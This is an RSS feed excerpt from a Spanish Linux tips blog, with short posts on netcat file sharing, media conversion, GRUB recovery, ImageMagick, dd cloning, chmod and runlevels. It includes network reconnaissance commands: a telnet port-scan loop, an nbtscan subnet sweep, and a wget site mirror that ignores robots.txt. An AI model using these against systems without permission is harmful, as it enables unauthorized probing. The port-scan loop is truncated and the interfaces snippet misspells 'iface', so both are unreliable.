&lt;p>######10. Montar un archivo .iso en UNIX/Linux:
&lt;code>mount /path/to/file.iso /mnt/cdrom -oloop&lt;/code>&lt;/p>
&lt;p>######11. Compartir un archivo a través del puerto 80 http:
&lt;code>nc -w 5 -v -l -p 8081 &amp;lt; file.ext&lt;/code>&lt;/p>
&lt;p>Desde la otra máquina abrir un navegador web y vaya a la ip de la máquina desde la que quiere lanzar netcat, &lt;strong>http://ip-address:8081&lt;/strong>
Si usted tiene alguno servidor web escuchando en el puerto 80, entonces sería necesario detenerlos o seleccionar otro puerto antes de lanzar: net cat ;-)&lt;/p>
&lt;blockquote>
&lt;p>P.d.:es necesario instalar netcat tool&lt;/p>
&lt;/blockquote>
&lt;p>######12. Extracto de audio stream de un archivo AVI usando mencoder:
&lt;code>mencoder &amp;quot;${file}&amp;quot; -of rawaudio -oac mp3lame -ovc copy -o audio/&amp;quot;${file/%avi/mp3}&lt;/code>&lt;/p>
&lt;p>######13. Captura de video desde linux desktop:
&lt;code>ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg&lt;/code>&lt;/p>
&lt;p>######14. Descarga una website completa:
&lt;code>wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com&lt;/code>&lt;/p>
&lt;p>######15. Matar: un proceso que esta bloqueando un archivo:
&lt;code>fuser -k filename&lt;/code>&lt;/p>
&lt;p>######16. Escaneo de puertos usando telnet:
&lt;code>HOST=127.0.0.1;for((port=1;port/dev/null | grep 'Connected to' &amp;gt; /dev/null; then echo -en &amp;quot;nnport $port/tcp is opennn&amp;quot;;fi;done | grep open&lt;/code>&lt;/p></description></item><item><title>Comandos básicos</title><link>https://www.procamora.com/p/comandos_basicos/</link><pubDate>Sun, 15 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/comandos_basicos/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Comandos básicos" />&lt;p>&lt;code>adduser&lt;/code>: Se utiliza para añadir un usuario.&lt;/p>
&lt;p>*Uso: adduser &lt;nombreusuario>&lt;/p>
&lt;p>&lt;code>Alias&lt;/code> (este esta bien explicado en un post anterior)&lt;/p>
&lt;p>&lt;em>Uso: alias nombrequeledamos=’comando’&lt;/em>&lt;/p>
&lt;p>&lt;code>apt-get install nombredelprograma&lt;/code> = instala el paquete.&lt;/p>
&lt;p>&lt;code>apt-get remove nombredelprograma&lt;/code> = Borra el paquete. Con la opción –purge borra también la configuración del paquete instalado.&lt;/p>
&lt;p>&lt;code>apt-get update&lt;/code> = Actualiza la lista de paquetes disponibles para instalar.&lt;/p>
&lt;p>&lt;code>apt-get upgrade&lt;/code> = Instala las nuevas versiones de los diferentes paquetes disponibles.&lt;/p>
&lt;p>&lt;code>cd&lt;/code> = Cambia el directorio.&lt;/p>
&lt;p>&lt;em>Uso: cd nombredirectorio&lt;/em>&lt;/p>
&lt;p>Continuar leyendo el resto de comandos:&lt;/p>
&lt;p>&lt;code>chmod&lt;/code>: Cambia los permisos de los archivos.&lt;/p>
&lt;p>r:lectura w:escritura x:ejecución
+: añade permisos -:quita permisos
u:usuario g:grupo del usuario o:otros
&lt;em>Uso: chmod permisos nombrearchivo&lt;/em>&lt;/p>
&lt;p>&lt;code>chown&lt;/code>: Cambia el propietario de un archivo.&lt;/p>
&lt;p>&lt;em>Uso: chown &lt;nombrepropietario> &lt;nombrearchivo>&lt;/em>&lt;/p>
&lt;p>&lt;code>cp&lt;/code>:Copia archivos en el directorio indicado.&lt;/p>
&lt;p>&lt;em>Uso: cp archivoorigen archivodestino&lt;/em>&lt;/p>
&lt;p>&lt;code>deluser&lt;/code>: Elimina una cuenta de usuario&lt;/p>
&lt;p>&lt;em>Uso: deluser &lt;nombreusuario>&lt;/em>&lt;/p>
&lt;p>&lt;code>exit&lt;/code>: Cierra las ventanas o las conexiones remotas establecidas&lt;/p>
&lt;p>&lt;code>fsck&lt;/code>: Sirve para chequear si hay errores en nuestro disco duro.&lt;/p>
&lt;p>&lt;em>Uso: fsck -t &amp;lt;fs_typo&amp;gt; &lt;dispositivo>&lt;/em>&lt;/p>
&lt;p>&lt;code>ftp&lt;/code>: Protocolo de Transferencia de Archivos, permite transferir archivos de y para computadores remotos.&lt;/p>
&lt;p>&lt;em>Uso: ftp &amp;lt;maquina_remota&amp;gt;&lt;/em>&lt;/p>
&lt;p>&lt;code>grep&lt;/code>: Su funcionalidad es la de escribir en salida estándar aquellas líneas que concuerden con un patrón. Busca patrones en archivos.&lt;/p>
&lt;p>grep: grep &lt;patronabuscar> &lt;nombrearchivos>&lt;/p>
&lt;p>&lt;code>ifconfig&lt;/code>: Obtener información de la configuración de red&lt;/p>
&lt;p>&lt;code>kill&lt;/code>: Termina un proceso&lt;/p>
&lt;p>&lt;em>Uso: kill numeroPID&lt;/em>&lt;/p>
&lt;p>&lt;code>ls&lt;/code>:Lista los archivos y directorios dentro del directorio de trabajo.&lt;/p>
&lt;p>&lt;code>make&lt;/code>: Crea ejecutables a partir de los archivos fuente.&lt;/p>
&lt;p>&lt;code>man&lt;/code>: muestra el manual de un programa o comando si este esta disponible&lt;/p>
&lt;p>&lt;em>Uso: man &lt;nombredelcomando>&lt;/em>&lt;/p>
&lt;p>&lt;code>mkdir&lt;/code>: Crea un nuevo directorio.&lt;/p>
&lt;p>&lt;em>Uso: mkdir nombredirectorio&lt;/em>&lt;/p>
&lt;p>&lt;code>mount&lt;/code>: Monta una unidad.&lt;/p>
&lt;p>&lt;em>Uso: mount -t&amp;lt; sistema_de_archivo&amp;gt; &lt;dispositivo> &lt;nombredirectorio>&lt;/em>&lt;/p>
&lt;p>&lt;code>mv&lt;/code>: Este comando sirve para renombrar un archivo.&lt;/p>
&lt;p>&lt;em>Uso: mv &lt;nombrearchivo> &lt;nuevonombrearchivo>&lt;/em>&lt;/p>
&lt;p>&lt;code>netstat&lt;/code>:Muestra las conexiones y puertos abiertos por los que se establecen las comunicaciones.&lt;/p>
&lt;p>&lt;code>poweroff&lt;/code>: Apaga el ordenador.&lt;/p>
&lt;p>&lt;code>ps&lt;/code>: Muestra información acerca de los procesos activos.&lt;/p>
&lt;p>&lt;code>rlogin&lt;/code>: Conecta un host local con un host remoto.&lt;/p>
&lt;p>&lt;em>Uso: rlogin &amp;lt;maquina_remota&amp;gt;&lt;/em>&lt;/p>
&lt;p>&lt;code>rm&lt;/code>: Remueve o elimina un archivo.&lt;/p>
&lt;p>&lt;em>Uso: rm &lt;rutaynombrearchivo>&lt;/em>&lt;/p>
&lt;p>&lt;code>rmdir&lt;/code>: Elimina el directorio indicado, el cual debe estar vacío.&lt;/p>
&lt;p>&lt;em>Uso: rmdir nombredirectorio&lt;/em>&lt;/p>
&lt;p>&lt;code>sudo&lt;/code> o &lt;code>su&lt;/code>: Con este comando accedemos al sistema como root.&lt;/p>
&lt;p>&lt;code>umount&lt;/code>: Desmontar unidades montadas anteriormente&lt;/p>
&lt;p>&lt;em>Uso: umount &lt;nombredirectorio>&lt;/em>&lt;/p>
&lt;p>&lt;code>wc&lt;/code>:Cuenta los caráteres, palabras y líneas del archivo de texto.&lt;/p>
&lt;p>&lt;em>Uso: wc nom_archivo&lt;/em>&lt;/p>
&lt;p>&lt;code>whereis&lt;/code>: Devuelve la ubicación del archivo especificado, si existe.&lt;/p>
&lt;p>&lt;em>Uso: whereis nomb_archivo&lt;/em>&lt;/p></description></item><item><title>Escáner puertos con nbtscan</title><link>https://www.procamora.com/p/nbtscan/</link><pubDate>Sat, 14 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/nbtscan/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Escáner puertos con nbtscan" />&lt;p>&lt;code>sudo apt-get install nbtscan&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo nbtscan -v -s : 192.168.1.0/24&lt;/code>&lt;/p></description></item><item><title>Modificar el grub</title><link>https://www.procamora.com/p/grub/</link><pubDate>Fri, 13 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/grub/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Modificar el grub" />&lt;h6 id="instalar-paquete-de-imágenes">instalar paquete de imágenes&lt;/h6>
&lt;p>&lt;code>sudo aptitude install grub2-splashimages&lt;/code>&lt;/p>
&lt;h6 id="carpeta-de-imágenes-del-grub">carpeta de imágenes del grub&lt;/h6>
&lt;p>&lt;code>/usr/share/images/grub/&lt;/code>&lt;/p>
&lt;h6 id="archivo-configuración-grub">archivo configuración grub&lt;/h6>
&lt;p>&lt;code>sudo gedit /etc/grub.d/05_debian_theme&lt;/code>&lt;/p>
&lt;h6 id="actualizar-grub">actualizar grub&lt;/h6>
&lt;p>&lt;code>update-grub2&lt;/code>&lt;/p>
&lt;h6 id="en-caso-de-no-ser-suficiente">en caso de no ser suficiente&lt;/h6>
&lt;p>&lt;code>sudo grub-mkconfig -o /boot/grub/grub.cfg&lt;/code>&lt;/p>
&lt;p>las imágenes del grub deben estar a 640x480&lt;/p>
&lt;h2 id="recuperar-el-arranque-grub">RECUPERAR EL ARRANQUE GRUB&lt;/h2>
&lt;p>&lt;strong>Método 1&lt;/strong>
Consiste en usar una distribución en modo LiveCD para instalar nuevamente el GRUB. Usaremos el LiveCD de Ubuntu 9.10 o superior (debe ser la versión Live o Desktop), aunque puede ser cualquier otra distribución que use GRUB2 como gestor de arranque y no LILO ni Grub 1.&lt;/p>
&lt;h6 id="lo-primero-que-debemos-hacer-es-arrancar-el-live-cd-y-abrir-una-terminal-después-escribimos-los-siguiente-para-ver-las-particiones-de-los-distintos-discos-duros">Lo primero que debemos hacer es arrancar el live-cd y abrir una terminal. Después escribimos los siguiente para ver las particiones de los distintos discos duros:&lt;/h6>
&lt;p>&lt;code>sudo fdisk -l&lt;/code>&lt;/p>
&lt;h6 id="después-vemos-cual-es-la-partición-donde-tenemos-ubuntu-y-la-montamos-en-mnt-en-la-mayoría-de-los-casos-esta-partición-será-sda1-el-ejemplo-lo-haré-con-esa-partición-pero-mira-cual-es-tu-partición-con-el-comando-fdisk">Después vemos cual es la partición donde tenemos Ubuntu y la montamos en /mnt (en la mayoría de los casos esta partición será sda1, el ejemplo lo haré con esa partición pero mira cual es tu partición con el comando fdisk):&lt;/h6>
&lt;p>&lt;code>sudo mount /dev/sda8 /mnt&lt;/code>&lt;/p>
&lt;h6 id="ahora-monta-el-resto-de-los-dispositivos">Ahora, monta el resto de los dispositivos:&lt;/h6>
&lt;p>&lt;code>sudo mount --bind /dev /mnt/dev&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo mount --bind /dev/pts /mnt/dev/pts&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo mount --bind /proc /mnt/proc&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo mount --bind /sys /mnt/sys&lt;/code>&lt;/p>
&lt;h6 id="y-ejecuta-el-comando-chroot-de-forma-que-accedemos-como-root-al-sistema-de-archivos-de-nuestro-antiguo-ubuntu">Y ejecuta el comando chroot de forma que accedemos como root al sistema de archivos de nuestro antiguo Ubuntu:&lt;/h6>
&lt;p>&lt;code>sudo chroot /mnt&lt;/code>&lt;/p>
&lt;h6 id="por-último-cargamos-el-grub-en-el-mbr-ejecutando-el-siguiente-comando">Por último cargamos el Grub en el MBR ejecutando el siguiente comando:&lt;/h6>
&lt;p>&lt;code># grub-install --recheck /dev/sda&lt;/code>&lt;/p>
&lt;p>(sda lo debemos substituir por el disco duro que utilizamos para arrancar los sistemas operativos, casi siempre es sda. Ojo!! no poner el número de partición, solo sda).&lt;/p>
&lt;h6 id="reiniciamos-y-cuando-vuelva-a-arrancar-ubuntu-no-el-del-livecd-podemos-ajustar-en-el-menú-del-grub-manualmente-para-que-aparezca-en-el-menú-de-arranque-el-nuevo-sistema-operativo-que-nos-borró-el-mbr-o-dejar-que-lo-haga-el-automáticamente-con-el-siguiente-comando">Reiniciamos y cuando vuelva a arrancar Ubuntu (no el del LiveCD), podemos ajustar en el menú del GRUB manualmente para que aparezca en el menú de arranque el nuevo sistema operativo que nos borró el MBR, o dejar que lo haga el automáticamente con el siguiente comando:&lt;/h6>
&lt;p>&lt;code>sudo update-grub2&lt;/code>&lt;/p>
&lt;h6 id="si-el-comando-no-te-funciona-quizás-necesites-instalar-el-paquete-grub2">Si el comando no te funciona, quizás necesites instalar el paquete grub2:&lt;/h6>
&lt;p>&lt;code>sudo apt-get install grub2&lt;/code>&lt;/p>
&lt;p>`&lt;/p></description></item><item><title>Modificar imágenes con ImageMagik</title><link>https://www.procamora.com/p/imagemagik/</link><pubDate>Wed, 11 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/imagemagik/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Modificar imágenes con ImageMagik" />&lt;p>El comando convert nos permite realizar distintos tipos de conversiones en una imagen. La opción -resize sirve cambiar el tamaño. Veamos unos ejemplo sencillos:&lt;/p>
&lt;p>&lt;code>sudo convert elefante.jpg elefante.png&lt;/code>
&lt;code>sudo convert elefante.jpg -resize 640×480 elefantemini.jpg&lt;/code>
&lt;code>sudo convert elefante.jpg -resize 640×480 elefante.png&lt;/code>&lt;/p>
&lt;p>En el primer ejemplo hemos cambiado de formato, en el segundo de tamaño y en el tercero de formato y tamaño a la vez.&lt;/p>
&lt;p>##Reducir imágenes&lt;/p>
&lt;p>######Tenemos varias imágenes. Podemos escribir uno a uno los nombres de cada imagen, pero si son muchas resultaría demasiado lento. Lo mejor es meterlas todas en una misma carpeta. Luego abrimos una terminal, dentro de la carpeta, y escribimos:&lt;/p>
&lt;p>&lt;code>sudo convert &amp;quot;*.jpg&amp;quot; -resize 150×150 imagen%02d.png&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>Con &amp;ldquo;*.jpg&amp;rdquo; le estamos diciendo al programa que tome como entrada a todos los archivos que terminen en .jpg que hay en ese directorio; con imagen%02d.png estamos diciendo que los archivos de salida serán en formato png y su nombre estará formado por la palabra imagen seguida de un número formado por dos dígitos (imagen00, imagen01, imagen02, imagen03,…); si tenemos más de 100 y necesitamos usar 3 dígitos escribiremos %03d, en lugar de %02d.&lt;/p>
&lt;/blockquote>
&lt;p>Aunque le hayamos dicho que las reduzca todas a una tamaño de 150×150 pixeles, convert respetara siempre las proporciones de la imagen original (asignando los 150 pixeles a uno solo de los lados). Si queremos que la anchura sea siempre la misma, y sea la altura lo que varíe, escribiremos solo el primero de los valores (-resize 150). Si, por el contrario, queremos que sea la altura lo que permanezca constante, escribiremos el segundo valor precedido del signo x (-resize x150). Y si lo que queremos es que se ajuste al ancho y alto que hemos determinado, ignorando las proporciones de la imagen original, añadiremos ! (barra invertida exclamación); ejemplo: -resize 150×150!, cuando las proporciones no coincidan la imagen se deformará para ajustarse al tamaño asignado.&lt;/p>
&lt;p>######Si tenemos muchas imágenes puede ser más rápido si escribimos:&lt;/p>
&lt;p>&lt;code>sudo convert &amp;quot;*.jpg&amp;quot;[150x150] imagen%02d.png&lt;/code>&lt;/p>
&lt;p>Esto hará que, en lugar de leer primero todas las imágenes y luego reducirlas, las vaya reduciendo según las va leyendo; con esto el ordenador irá más rápido y consumirá menos recursos.&lt;/p>
&lt;p>Podemos, también, reducir las imágenes en un tanto por ciento, por ejemplo escribiendo -resize 50% las reduciremos a la mitad.&lt;/p>
&lt;p>Ahora vamos a ver otras opciones para reducir imágenes:&lt;/p>
&lt;p>thumbnail&lt;/p>
&lt;p>######Esta opción esta pensada para reducir el tamaño de imágenes muy muy grandes. Combina tres opciones: -strip elimina la información adicional que suele acompañar a las fotos de las cámaras digitales y a las imágenes tratadas con algunos programas de retoque fotográfico; -sample reduce varias veces la imagen; y -resize da el tamaño final. Por ejemplo:&lt;/p>
&lt;p>`sudo convert &amp;ldquo;*.jpg&amp;rdquo; -thumbnail 150×150 imagen%02d.png&lt;/p>
&lt;p>scale&lt;/p>
&lt;p>######Es una versión simplificada de resize. Es más rápido y ligero, pero la imagen resultante puede perder algo de calidad.&lt;/p>
&lt;p>&lt;code>convert &amp;quot;*.jpg&amp;quot; -scale 150×150 imagen%02d.png&lt;/code>&lt;/p></description></item><item><title>Poner ip statica</title><link>https://www.procamora.com/p/ip_statica/</link><pubDate>Tue, 10 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/ip_statica/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Poner ip statica" />&lt;p>&lt;code>vim /etc/network/interfaces&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">auto eth0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">inface eth0 inet static
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">address 192.168.1.3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">netmask 255.255.255.0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">gateway 192.168.1.1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;code>/etc/init.d/networking stop &amp;amp;&amp;amp; /etc/init.d/networking start&lt;/code>&lt;/p>
&lt;p>o&lt;/p>
&lt;p>&lt;code>/etc/init.d/networking restart&lt;/code>&lt;/p></description></item><item><title>Instalar gnome shell</title><link>https://www.procamora.com/p/gnome-shell/</link><pubDate>Mon, 09 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/gnome-shell/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Instalar gnome shell" />&lt;p>&lt;code>sudo apt-get install gnome-shell&lt;/code>&lt;/p></description></item><item><title>Uso de dd</title><link>https://www.procamora.com/p/dd/</link><pubDate>Sun, 08 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/dd/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Uso de dd" />&lt;p>La orden &lt;strong>dd&lt;/strong> hace una copia exacta byte a byte.&lt;/p>
&lt;p>Ejemplos:&lt;/p>
&lt;h6 id="clonar-un-disco-duro">Clonar un disco duro:&lt;/h6>
&lt;p>&lt;code>dd if=/dev/sda |pv|dd of=/dev/sdb&lt;/code>&lt;/p>
&lt;p>######Clonar una partición:
&lt;code>dd if=/dev/sdc2 |pv|dd of=/dev/sda1&lt;/code>&lt;/p>
&lt;p>######Crear una imagen iso de una partición o disco duro (excelente opción para backups):
&lt;code>dd if=/dev/sda1 |pv|dd of=/home/usuario/backup.iso&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>En algunas distros puede que pv no venga instalado, así que bastará con instalarlo para poder usar este tip.&lt;/p>
&lt;/blockquote></description></item><item><title>Eliminar un archivo corrupto</title><link>https://www.procamora.com/p/eliminar_archivo_corrupto/</link><pubDate>Sat, 07 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/eliminar_archivo_corrupto/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Eliminar un archivo corrupto" />&lt;p>Se usaba para reparar una unidad con archivos corruptos que no se pueden eliminar, tengo que repasar su funcionamiento&lt;/p>
&lt;p>&lt;code>fsck /dev/sdaX&lt;/code>&lt;/p></description></item><item><title>Crear un acceso directo por consola</title><link>https://www.procamora.com/p/crear_lanzadores/</link><pubDate>Fri, 06 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/crear_lanzadores/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Crear un acceso directo por consola" />&lt;p>Para crear lanzadores en gnome 2:&lt;/p>
&lt;p>&lt;code>gnome-desktop-item-edit --create-new ~/Escritorio&lt;/code>&lt;/p></description></item><item><title>Ajustar pantalla virtualbox</title><link>https://www.procamora.com/p/ajustar_pantalla/</link><pubDate>Thu, 05 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/ajustar_pantalla/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Ajustar pantalla virtualbox" />&lt;p>Para instalar los guest adition en una maquina instalada en virtualbox ejecutar&lt;/p>
&lt;p>&lt;code>sudo apt-get install virtualbox-ose-guest-x11&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>En las ultimas versiones de debian (jessie y sid) no estaban en los repositorios, supongo que seria porque en este momento son ramas en desarrollo&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;strong>jessie&lt;/strong> -&amp;gt; testing&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;strong>sid&lt;/strong> -&amp;gt; unestable&lt;/p>
&lt;/blockquote></description></item><item><title>Uso de chmod</title><link>https://www.procamora.com/p/comando_chmod/</link><pubDate>Wed, 04 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/comando_chmod/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Uso de chmod" />&lt;h6 id="chmod-sirve-para-modificar-los-permisos-de-ficheros-y-directorios">chmod sirve para modificar los permisos de ficheros y directorios&lt;/h6>
&lt;p>&lt;code>chmod [opciones] modo[,modo] fichero&lt;/code>&lt;/p>
&lt;p>Para ello tenemos que tener claros los distintos grupos de usuarios:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">u: usuario dueño del fichero
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">g: grupo de usuarios del dueño del fichero
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">o: todos los otros usuarios
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">a: todos los tipos de usuario (dueño, grupo y otros)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También hay que saber la letra que abrevia cada tipo de permiso:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">r: se refiere a los permisos de lectura
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">w: se refiere a los permisos de escritura
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">x: se refiere a los permisos de ejecución
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl"> - - - = 0 no se tiene ningún permiso
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> - - x = 1 solo permiso de ejecución
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> - w - = 2 solo permiso de escritura
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> - w x = 3 permisos de escritura y ejecución
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> r - - = 4 solo permiso de lectura
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> r - x = 5 permisos de lectura y ejecución
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> r w - = 6 permisos de lectura y escritura
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> r w x = 7 todos los permisos establecidos, lectura, escritura y ejecución
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Uso de rc.local</title><link>https://www.procamora.com/p/rc_local/</link><pubDate>Mon, 02 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/rc_local/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Uso de rc.local" />&lt;h2 id="los-directorios-rc">Los directorios rc&lt;/h2>
&lt;p>Debajo de &lt;em>/etc&lt;/em> se encuentra el directorio &lt;strong>rc.d&lt;/strong> que a la vez contiene un directorio para cada nivel de ejecución, así tenemos &lt;em>rc0.d&lt;/em>, &lt;em>rc1.d&lt;/em>, &lt;em>rc2.d&lt;/em>, &lt;em>rc3.d&lt;/em>, etc. Hay algunas distros que estos directorios están ubicados directamente en &lt;em>/etc&lt;/em>. Como ya te imaginaras, cada uno de estos directorios contiene scripts (o mas bien enlaces a scripts) que apuntan al directorio &lt;em>init.d&lt;/em>, entonces el comando init (ya sea ejecutado manualmente o cuando se inicia el sistema), dependiendo del nivel indicado leerá cada uno de los enlaces o accesos directos del directorio respectivo.&lt;/p>
&lt;p>Ahora bien, un ejemplo (parcial) típico de estos directorios puede ser el siguiente, tomado de rc3.d&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 7 Oct 20 20:05 K22dbus -&amp;gt; ../init.d/dbus
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 9 Oct 20 20:05 K22resmgr -&amp;gt; ../init.d/resmgr
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 8 Oct 20 20:05 K24fbset -&amp;gt; ../init.d/fbset
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 9 Oct 20 20:05 K24random -&amp;gt; ../init.d/random
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 8 Oct 20 18:23 S01fbset -&amp;gt; ../init.d/fbset
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 9 Oct 20 18:22 S01random -&amp;gt; ../init.d/random
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 7 Oct 20 18:29 S03dbus -&amp;gt; ../init.d/dbus
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 9 Oct 20 18:23 S03resmgr -&amp;gt; ../init.d/resmgr
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 12 Oct 20 18:24 S04boot.udev -&amp;gt; ../init.d/boot.udev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 10 Oct 20 21:16 S05network -&amp;gt; ../init.d/network
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 9 Oct 20 18:23 S06syslog -&amp;gt; ../init.d/syslog
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Nótese que todos son enlaces al directorio init.d que como ya se vio previamente es donde realmente están ubicados los scripts de arranque de los servicios o servidores. También, todos los enlaces comienzan con K (kill) o con S (start), es pues fácil deducir que los que comienzan con K son scripts que recibirán el argumento stop y los que comienzan con S el de start, es decir, se inician. Esta gran simplicidad ofrece una enorme potencia al momento de configurar servicios ya que basta con agregar o quitar enlaces con el formato indicado para personalizar los niveles de ejecución a nuestro gusto.&lt;/p>
